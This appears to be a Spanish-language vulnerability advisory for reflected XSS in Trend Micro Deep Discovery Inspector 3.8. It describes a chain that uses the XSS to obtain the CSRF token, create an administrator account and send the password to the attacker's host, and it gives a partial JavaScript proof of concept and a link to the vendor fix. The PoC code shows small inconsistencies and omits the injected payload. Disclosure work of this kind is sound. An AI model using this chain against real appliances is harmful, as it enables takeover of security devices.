
Exploit de prueba de concepto para XSS reflejado en Trend Micro Deep Discovery Inspector 3.8, que permite elusión de CSRF y toma de control de cuenta de administrador a través de la interfaz web autenticada.
He encontrado una vulnerabilidad XSS reflejada en la interfaz web de administración de Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165. La ruta del script vulnerable es /php/detection_detail_filter.php. Este script solo es accesible por un usuario autenticado, pero esto no hace que la vulnerabilidad sea menos grave, considerando el escenario de ataque que se detalla a continuación.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png confirma que el parámetro ips[] es vulnerable a la inyección de código HTML.
Esta vulnerabilidad se puede utilizar para eludir la protección CSRF, obtener el token CSRF y realizar con éxito un ataque CSRF. Incluso se puede lograr la toma completa del dispositivo Deep Discovery Inspector utilizando el siguiente escenario:
1. El usuario que ha iniciado sesión en la interfaz web de DDI es inducido a visitar una página web maliciosa.
2. Se ejecuta un script malicioso en esta página utilizando la vulnerabilidad XSS en /php/detection_detail_filter.php
3. El script obtiene el token CSRF mediante una solicitud PUT a /wsgi/csrf/get_token/
4. Luego utiliza el token obtenido de la respuesta a la solicitud anterior para agregar una cuenta con privilegios de administrador
5. La contraseña de la cuenta agregada se obtiene de la respuesta a la solicitud anterior.
6. La contraseña puede transferirse al host del atacante a través de una solicitud HTTP
Screen2.png muestra el ataque en acción.
Para reproducir el ataque, puede usar el siguiente fragmento de código (la variable ddi_ip debe cambiarse según la IP de su dispositivo DDI):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
Este código PoC debe colocarse en el servidor web del atacante, y el usuario (con permisos de administrador) que haya iniciado sesión en la interfaz web de DDI debe abrir un enlace a este servidor. El usuario puede ser inducido a hacer clic en el enlace mediante ingeniería social.
Trend Micro ha proporcionado la siguiente solución: https://success.trendmicro.com/solution/1121079